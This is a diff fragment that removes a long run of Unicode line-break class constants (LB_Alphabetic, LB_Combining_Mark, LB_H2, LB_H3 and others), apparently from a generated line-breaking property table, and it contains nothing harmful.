-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Break_Before,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Glue,
-	LB_Break_After,
-	LB_ZWSpace,
-	LB_Combining_Mark,
-	LB_ZWJ,
-	LB_Combining_Mark,
-	LB_Break_After,
-	LB_Glue,
-	LB_Break_After,
-	LB_Break_Both,
-	LB_Alphabetic,
-	LB_Quotation,
-	LB_Open_Punctuation,
-	LB_Quotation,
-	LB_Open_Punctuation,
-	LB_Quotation,
-	LB_Alphabetic,
-	LB_Inseparable,
-	LB_Break_After,
-	LB_Mandatory_Break,
-	LB_Combining_Mark,
-	LB_Glue,
-	LB_Postfix_Numeric,
-	LB_Alphabetic,
-	LB_Quotation,
-	LB_Alphabetic,
-	LB_Nonstarter,
-	LB_Alphabetic,
-	LB_Infix_Numeric,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Nonstarter,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Word_Joiner,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Alphabetic,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Alphabetic,
-	LB_Prefix_Numeric,
-	LB_Postfix_Numeric,
-	LB_Prefix_Numeric,
-	LB_Postfix_Numeric,
-	LB_Prefix_Numeric,
-	LB_Postfix_Numeric,
-	LB_Prefix_Numeric,
-	LB_Postfix_Numeric,
-	LB_Prefix_Numeric,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Postfix_Numeric,
-	LB_Alphabetic,
-	LB_Postfix_Numeric,
-	LB_Alphabetic,
-	LB_Prefix_Numeric,
-	LB_Alphabetic,
-	LB_Prefix_Numeric,
-	LB_Alphabetic,
-	LB_Inseparable,
-	LB_Alphabetic,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_E_Base,
-	LB_Alphabetic,
-	LB_Quotation,
-	LB_Alphabetic,
-	LB_Exclamation,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Alphabetic,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Alphabetic,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Alphabetic,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Alphabetic,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Alphabetic,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Exclamation,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Exclamation,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Quotation,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Open_Punctuation,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Quotation,
-	LB_Alphabetic,
-	LB_Quotation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Break_After,
-	LB_Exclamation,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Break_Both,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Open_Punctuation,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Close_Punctuation,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Ideographic,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Nonstarter,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Ideographic,
-	LB_Combining_Mark,
-	LB_Ideographic,
-	LB_Combining_Mark,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Exclamation,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Postfix_Numeric,
-	LB_Alphabetic,
-	LB_Break_Before,
-	LB_Exclamation,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Break_Before,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_JL,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Break_After,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Break_After,
-	LB_Combining_Mark,
-	LB_Alphabetic,
-	LB_Numeric,
-	LB_Alphabetic,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_H2,
-	LB_H3,
-	LB_Alphabetic,
-	LB_JV,
-	LB_Alphabetic,
-	LB_JT,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Hebrew_Letter,
-	LB_Combining_Mark,
-	LB_Hebrew_Letter,
-	LB_Alphabetic,
-	LB_Hebrew_Letter,
-	LB_Alphabetic,
-	LB_Hebrew_Letter,
-	LB_Alphabetic,
-	LB_Hebrew_Letter,
-	LB_Alphabetic,
-	LB_Hebrew_Letter,
-	LB_Alphabetic,
-	LB_Hebrew_Letter,
-	LB_Alphabetic,
-	LB_Hebrew_Letter,
-	LB_Alphabetic,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Alphabetic,
-	LB_Postfix_Numeric,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Infix_Numeric,
-	LB_Close_Punctuation,
-	LB_Infix_Numeric,
-	LB_Exclamation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Inseparable,
-	LB_Alphabetic,
-	LB_Combining_Mark,
-	LB_Ideographic,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Ideographic,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Ideographic,
-	LB_Close_Punctuation,
-	LB_Ideographic,
-	LB_Close_Punctuation,
-	LB_Alphabetic,
-	LB_Nonstarter,
-	LB_Exclamation,
-	LB_Ideographic,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Ideographic,
-	LB_Prefix_Numeric,
-	LB_Postfix_Numeric,
-	LB_Ideographic,
-	LB_Alphabetic,
-	LB_Word_Joiner,
-	LB_Alphabetic,
-	LB_Exclamation,
-	LB_Ideographic,
-	LB_Prefix_Numeric,
-	LB_Postfix_Numeric,
-	LB_Ideographic,
-	LB_Open_Punctuation,
-	LB_Close_Punctuation,
-	LB_Ideographic,
-	LB_Close_Punctuation,
-	LB_Ideographic,
-	LB_Close_Punctuation,
-	LB_Ideographic,
-	LB_Nonstarter,
-	LB_Ideographic,
-	LB_Exclamation,
-	LB_Ideographic,
-	LB_Open_Punctuation,
-	LB_Ideographic,
-	LB_Close_Punctuation,
-	LB_Ideographic,
-	LB_Open_Punctuation,
-	LB_Ideographic,
